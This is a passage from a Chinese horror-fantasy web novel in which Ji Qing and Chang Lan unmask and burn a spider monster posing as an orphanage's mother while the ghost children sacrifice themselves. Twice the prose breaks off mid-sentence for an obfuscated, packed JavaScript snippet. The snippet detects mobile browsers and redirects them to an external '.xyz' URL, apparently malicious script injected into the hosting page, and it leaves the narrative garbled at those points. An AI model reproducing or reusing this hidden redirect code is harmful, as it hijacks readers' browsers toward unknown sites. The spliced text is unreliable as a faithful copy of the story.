这句话如同最终的丧钟,敲响在每一个孩子心头,有人甚至猛地捂住了嘴,眼中充满了难以置信的恐惧和……某种被强行压制的、关于灼热与浓烟的碎片记忆开始复苏。 “这里的孩子们……”季青的声音带着一种残酷的怜悯,扫过每一个孩子苍白的面孔,“可能根本不是活人!或者,我们是它用某种力量困在这里的……残影!” 第四条帖子【孤儿院里拥有可以夺取记忆的神秘力量】 “怪物编织了这个‘家’的幻象,用所谓的‘和谐值’系统和那个铃铛胸针,不断地削弱、篡改、甚至消除大家的记忆!让大家忘记死亡的事实,忘记它是个怪物,一遍遍地在这个永恒的噩梦循环里,扮演它想要的‘乖孩子’!” 【警告:个人和谐值过低】 【警告:整体和谐值过低】 【警告:感知屏障失效!感知屏障失效!】 大家眼前疯狂闪烁的红色UI,随着着刺目的提示,领口刺痛的触感传来: 孩子们纷纷低下头,这才发现自己领口的铃铛胸针,其实是一只只的狰狞的红色人面蜘蛛! 模糊的火光、炙热的温度、绝望的哭喊……这些被“和谐”掉的东西,此刻在季青的话语和环境中越来越浓的恐惧刺激下,开始复苏。 “不——!是我的!你们都是我的孩子!!”怪物发出了含混不清、充满占有欲的疯狂咆哮。 可季青关于它本质的揭露,彻底撕碎了它最后的伪装。 “孩子?”季青发出了尖锐的嘲笑,她指着怪物那不断从躯干上增生出来的、苍白浮肿的人手肢节,“你看看你自己!你懂得什么是养育吗?你只是一个窃取了‘母亲’概念的掠夺者!” “你的行为模式,你的筑巢习性……你甚至无法理解真正的亲情!你恐怕是一只无法拥有自己后代的雄性蜘蛛!” “你霸占这里,披着人皮,不过是为了满足你扭曲的、扮演‘家庭’和控制生命的欲望!你把我们这些困在死亡之地的亡魂或者迷失者,当成了你不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449133|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有的‘孩子’来占有、来玩弄!” 怪物发出了撕裂耳膜的、饱含所有失败、自卑与疯狂怨毒的尖啸! “闭嘴!闭嘴!!我是妈妈!我是!!!” 季青的话语,精准地命中了它最深层、最扭曲、也最不愿被触及的核心!它庞大的身体因极致的暴怒而剧烈膨胀,将身上最后一点“院长妈妈”外皮的残留彻底撑爆! “噗嗤——噗嗤——噗嗤——” 令人头皮发麻的撕裂声密集响起!它那臃肿的躯体上,无数条细长、环节状的、末端骤然膨大化作惨白人手形态的步足,疯狂地穿刺而出! 那些“手”五指俱全,皮肤死白浮肿,指甲乌黑尖长,在空中疯狂地抓挠、舞动,成百上千,如同从尸山血海中伸出的、索命的苍白森林! 它的头颅也彻底变形,口器开合,滴落着具有腐蚀性的幽绿色粘液,数只鲜红复眼镶嵌在扭曲的甲壳上,燃烧着毁灭一切的疯狂。 一只长着无数条人手、庞大无比的恐怖人面蛛,显露出了它完整的、亵渎生命的真实形态! 【警告!警告!和谐值归零!系统崩溃!】 【清除所有不和谐单位!】 那冰冷的UI最后一次闪烁,随即彻底湮灭。 束缚思想的枷锁破碎,但随之而来的,是怪物毫无顾忌的、最原始的杀意! “投票!”季青用尽最后的力气嘶喊,她的声音在怪物的尖啸和巢穴的异响中显得微弱,却无比清晰: “投给它!这个占据了我们死亡之地、篡改我们记忆、把我们当成玩物的怪物!” 第五条帖子,也是最为关键的一条:【孤儿院怪谈,因孩子们而存续】 那么,破解怪谈的钥匙,就是孩子们本身! “我投票给这个蜘蛛怪!”常岚也从血雾中站起,声音坚定。 安瑞宁也站了起来,她脸上的恐惧被一种彻悟后的决绝取代,她指向那扭曲的、舞动着无数人手的蜘蛛怪物,用灵魂呐喊: “我改票!我投给……你!这个窃取了我们安息之地的怪物!” “我投给你!”徐菡远的声音带着冰冷的恨意。 “我…我也投给你!放开我们!”林屿和其他孩子也纷纷站起,他们眼中长期被压抑的愤怒、对真相的恐惧、以及对解脱的渴望,在此刻汇聚成一股微弱却不可忽视的力量。 孩子们的声浪,如同最后的审判,宣判着这个扭曲“家庭”的终结。 人面蛛的所有复眼瞬间缩成微小尖锐的红点!它发出了一声蕴含着所有计划破产、控制权丢失的、最怨毒的终极尖啸! “不乖……不乖的孩子!!!”它的声音彻底变成了扭曲的杂音,席卷整个巢穴,“既然不听话……那就没有存在的必要了!!!” “孩子……杀了再捉就好——A市这片死亡之地,最不缺的就是迷失的灵魂!!!” “轰!!!” 它扬起身前两条最粗壮、覆盖着厚重甲壳、末端同样化为巨大狰狞手掌的肢节,猛地砸向地面!整个巢穴剧烈震动,红色的丝网如同被惊扰的蛇群般疯狂舞动! 那庞大的、亵渎的躯体,带着碾碎一切的疯狂气势,伴随着无数条舞动的、抓挠的苍白人手,如同崩塌的、活着的尸山,向着挺身而出的季青、常岚,以及所有敢于反抗的“孩子们”,发起了毁灭性的、最后的扑杀! 焦糊味、尸臭味、血腥味、以及怪物口中喷出的酸性恶臭混合在一起。 真相大白之后的生存之战,在这座早已死去的孤儿院残骸中,于此刻,轰然爆发! 17. 心巢孤儿院(十) 孩子们的改票声浪,如同最终的审判,彻底点燃了人面蛛的疯狂,让它气急败坏地向孩子们展开了捕杀。 它挥舞着周身僵硬的肢节,那臃肿庞大的躯体竟以一种诡异的姿势爬上了餐厅的天花板,巨大的阴影在月光中投下,如同噩梦般将孩子们笼罩其中。 人面蛛身上的肢节摩擦着,发出有规律的声响,如同催命的倒计时,每隔几秒,就有一只巨大的苍白人手在血雾中出现,从天花板高高砸下,企图将孩子们碾碎!! 腥风扑面,死亡的阴影瞬间笼罩。 “散开!”常岚大喊着,指引孩子们离开餐厅,向孤儿院的深处逃去,自己则运转着体内残存的内息,双掌泛起微弱的金光,试图以血肉之躯为大家争取逃跑的时间! 他刚准备迎着那两条最粗壮的、覆盖着厚重甲壳的巨掌肢节冲上去时,却被一把拽住。 “冷静点!常岚!”季青一边用手拽着常岚,一边往走廊的深处跑去,“先去拿你的剑!” “你知道我的剑被藏在哪了?”常岚一时间不知道季青要把他带到哪里,但他的话还没问完,就感到身后有一阵阴风袭来! 是人面蛛的肢体!密密麻麻的肢节连接着枯瘦的巨手急速追来,几乎将走廊塞得满满当当! 没有地方可以躲了! “你先走!”常岚将季青推开,转身试图再次硬扛住人面蛛的追击! 然而,就在那无数苍白人手即将触及季青和常岚的瞬间—— “不准伤害季青姐姐!” 一个瘦小的身影猛地从旁边冲了出来,是安瑞宁!她闭着眼睛,打开走廊侧边的门,死死挡在季青面前! “噗嗤!” 数只尖锐的“人手”瞬间贯穿了门板和她单薄的身体。 安瑞宁身体猛地一僵,她低下头,看着从自己胸口透出的、苍白瘦削的手指…… 可她的脸上却没有太多痛苦,反而露出一丝解脱般的微笑,她看向季青,气若游丝: “季青姐姐……你说的是对的……我们……早就不该在这里了……” 话音未落,她的身体便如同被戳破的气球般迅速干瘪,化作精纯的能量被那些“人手”吸收,只在原地留下逐渐消散的细微光点。 “瑞宁!”在旁边目睹一切的徐菡远目眦欲裂,泪水奔涌而出。 这惨烈的一幕,非但没有吓退其他孩子,反而如同点燃了导火索。 “跟它拼了!” 林屿红着眼睛,捡起地上断裂的椅子腿,狠狠砸向一条准备抓向徐菡远的细长肢节—— “反正早就死了!我还怕再死一次吗?!” 他的攻击如同蚍蜉撼树,却鼓舞了其他人。 “跟它拼了!给季青姐姐开路!” “不能白死!让它血债血偿!” “让这个怪物把吞掉的东西,全给我们吐出来!” “还我们——自由!” 孩子们尖叫着,哭喊着,却无比勇敢地冲了上去。他们用自己弱小的身体,去冲撞,去撕咬,去抱住那些舞动的苍白人手! 他们像扑火的飞蛾,明知是死,却义无反顾! 一个,两个,三个…… 不断有孩子被贯穿、被撕裂、被吸收。 每消失一个孩子,人面蛛的力量似乎就恢复一分,那狂暴的气势更甚。 但它毁灭的速度,竟一时被这前仆后继的牺牲延缓了!一条条通往季青和常岚的路径,被孩子们用灵魂和存在的彻底湮灭,硬生生地阻隔开来! 整个巢穴回荡着孩子们的呐喊与人面蛛狂躁的嘶鸣。 季青冲到一时间愣住的常岚身边,再次将他拽走,“我们去禁闭室!来这里的第一天我就找过了,只有那里没有去成!” “禁闭室就是这个巢穴里最严密,最不会让人轻易涉足的地方!你的剑大概就在那里!” 常岚跑得比季青快,在明了方向之后,直接一把将季青横抱起,朝禁闭室狂奔而去! 禁闭室的门已经被奔涌的红色丝线冲开,巨量的红线在禁闭室的中心凝聚成散发着猩红光芒的虫茧,如同心脏一般搏动。 季青扫了一眼就很快发现了目标: “那边!墙角那堆最厚的丝茧后面!” 常岚顺着她指的方向看去,只见禁闭室的角落,一小堆如同肿瘤般鼓动的暗红色丝茧后方,隐约透出一点熟悉的、青钢色的寒光! 是常岚的剑!它果然被这怪物藏在了这里! 但那里是巢穴能量最密集的区域,无数粗壮的红色丝线如同血管般盘绕其上,距离他们所在的位置有好几米远,中间充斥着狂舞的苍白人手! “你们快去!”林屿抹了一把脸上的血污,眼神决绝,“我们来拦住这个怪物!” “我帮你开路!”另一个高个子的男孩喊道。 没有犹豫,幸存的孩子们自发地组织起来。他们不再像无头苍蝇般地抵抗,而是有了明确的目标——为季青和常岚开辟一条通往禁闭室的通道! 林屿和徐菡远带领着剩下的孩子,组成了一道脆弱却坚定的人墙,他们用自己的身体吸引、冲撞那些攻击性的肢节,为季青和常岚创造冲出去的缝隙。 “快走!” “别回头!” 仍然不断有孩子在人墙中被撕碎、吸收,每一声短暂的惨叫,都像鞭子抽打在季青和常岚的心上。 常岚咬紧牙关,眼眶通红,利用同伴用生命换来的短暂空隙,如同灵活的猎豹,在舞动的苍白森林中穿梭、翻滚,拼命冲向那个角落! 终于,他们扑到了那堆暗红色的丝茧前!顾不得那丝茧散发出的令人作呕的气息波动,常岚用手,用牙齿,疯狂地撕扯着包裹在剑外面的粘稠丝线! 季青则强提一口气,站起来猛地将门抵上,她看到保护他们的人墙已经摇摇欲坠,说不定过一会人面蛛就会来到这里。 “我找到了!”常岚终于扯开了丝网的空隙,那柄古朴的七星剑似乎是感受到了主人的气息,剑身上的星点微微散发着橙金色的光辉。 只要这一点点空隙就够了!常岚将左手伸进红线之中,一把抓住七星剑的剑锋! 掌心被剑锋划破,血液沿着七星剑古朴的纹路奔涌,七星星点依次亮起,锐利而强大的气息瞬间绽开,将红线撕扯了个粉碎! 沉甸甸的剑身入手,带着一丝熟悉的凉意。 他毫不犹豫,转身就想回去帮助其他孩子。 然而,就在他转身的刹那,一条之前潜伏在丝茧阴影中的、格外纤细迅捷的苍白人手,如同毒蛇般猛地窜出,瞬间缠住了季青的脚踝,巨大的力量将她狠狠甩向地面! 意料之中的痛感并没有传来,缠着季青脚踝的力量突然消失,季青睁眼才发现常岚已经凌空斩断那只人手,将她稳稳接住。 常岚的剑迅速在空中挽出一个漂亮的剑花,剑锋的寒光激荡出清脆的剑鸣,瞬间将那可怕的肢节整整齐齐切成数段。 常岚把季青轻轻放下,将她护在身后,头也不回地问道:“这怪物还有哪些弱点?季老师你有核实到吗?” 与此同时,更多的肢节如同闻到血腥味的食人鱼,蜂拥而至! 季青一边躲着周围恼人的红线,一边在蜘蛛精造成的巨大响动中朝常岚大喊: “火啊!它怕火!!” “你说过这个,但是!”常岚懊恼地砍着那些似乎无穷无尽的肢节,“这里没有火啊!” 糟心啊!要是他擅长道法咒术的话,直接丢个符纸或者念个咒岂不是早就解决火种的问题了! 战斗中容不得多想,季青的目光瞬间锁定了旁边一块之前因人面蛛的攻击而裸露出来的、相对干燥坚硬的墙壁基岩! 点火的方式倒是有很多种! “火星可不可以!”季青朝常岚喊着,“击石取火!” 常岚闻言立刻双手握剑,将全身残存的内息,连同求生的意志,全部灌注于剑身之上! “铮——!” 长剑发出清越的嗡鸣,剑刃与石英岩剧烈摩擦! 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451720|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 串串耀眼的、橙红色的火星,猛地从剑刃与岩石的摩擦处迸射而出!这些火星四处飞溅,有些成功溅落在了旁边那些垂落在地上的普通蛛丝上! “呼——!” 一簇红色的火苗,瞬间从蛛丝上窜起!并且以惊人的速度,沿着蛛丝蔓延开来,迅速点燃了墙壁上那些盘绕的红色丝线! “吼——!!!” 人面蛛发出了前所未有的、混合着极致痛苦与恐惧的尖啸! 火焰,是它最原始的恐惧,是铭刻在它存在本源中的毁灭记忆,那些作为它力量源泉的红色丝线,此刻在火焰中如同引线般剧烈燃烧。 它疯狂地挥舞着肢节,试图拍打身上的火焰,但那些赤红的火焰顺着丝线,如同复仇的业火,疯狂蔓延至它的全身。 常岚已经从禁闭室冲出,他踩着人面蛛粗壮的肢节、踏着火焰来到了人面蛛的身上! 他高高跃起,七星剑带起流风,剑身上燃起金色的火光,剑势如同流星从天而降,狠狠斩断了人面蛛的腰节,将它砍作两段! 人面蛛从半空坠落,狠狠砸向地面的火海,在地狱般的灼烧中抽搐着。 巢穴在烈火中剧烈燃烧,发出噼啪的爆响。 那些包裹着人形残骸的丝茧在火焰中化作飞灰,仿佛无数的灵魂在此刻得到了超脱。 而整个孤儿院开始剧烈地扭曲、震动,仿佛这个依托怪物力量存在的幻境即将崩塌。 熊熊火光中,映照着孩子们或解脱、或悲伤、或决绝的面容。 季青看着在火焰中哀嚎、翻滚、最终崩塌的巨大蜘蛛怪物,看着周围开始变得虚幻的景象,一股难以言喻的悲伤与释然涌上心头。 她轻轻开口,哼唱起一首旋律。 那旋律不再诡异,不再空灵,而是带着一种久违的、真实的温暖,仿佛穿越了时光,来自于那个早已被焚毁的、真正的孤儿院。 那是她在记忆中,真正的、未被扭曲的孤儿院童谣: 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 躺在妈妈的怀抱里, 和妈妈说句悄悄话。 睡吧睡吧好孩子呀, 梦的花园为你开花, 萤火虫点亮小灯笼, 陪你走进甜蜜童话。 她的声音起初很轻,但渐渐地,徐菡远跟着哼唱起来,还活着的、以及那些在火焰中若隐若现的、孩子们透明的身影,都跟着哼唱起来。 纯净的、温暖的童谣声,汇成一股无形的力量,与熊熊燃烧的烈火一起,冲刷着这个扭曲的巢穴。 人面蛛在火焰与歌声中,发出了最后一声不甘的、绝望的嘶鸣,那庞大的、由无数人手构成的躯体,终于在烈焰中彻底崩塌、瓦解,化作飞灰。 “我们……回家了……” 徐菡远看着季青,露出一个无比安宁的笑容,她的身体,连同其他孩子的身影,开始在火光和温暖的歌声中,渐渐变得透明,如同晨曦下的露珠,缓缓消散。 整个孤儿院的景象如同褪色的油画般剥落、消散。 直到清爽的夜风重新吹拂过来,常岚才惊觉已经回到了现实世界,他伸出手臂这里望望,那里拍拍,确认自己确确实实是变回大人了。 不过松了一口气的常岚还没忘记正事。 “唉……?应该是在这附近吧?”他左顾右盼,在地上搜寻了一圈,找到了孤儿院门口两人落下的手机。 “季老师,你的手机!” 常岚捡起手机,站起身,朝季青挥了挥手。 季青没有回答他,而是径直朝废墟深处走去,常岚这才注意到一串幽蓝色的闪光,它们规律地浮现在废墟之中,仿佛指引着季青前进。 直到季青把终点那团最亮的闪光拢在掌心,常岚才凑过来:“难道还有通关奖励吗……唉,怎么是个护身符?” 季青捏着那个三角形的黄色护符仔细端详,正面是一只红色蝴蝶的徽记,而背面则写着两个名字: “季青……季绯?”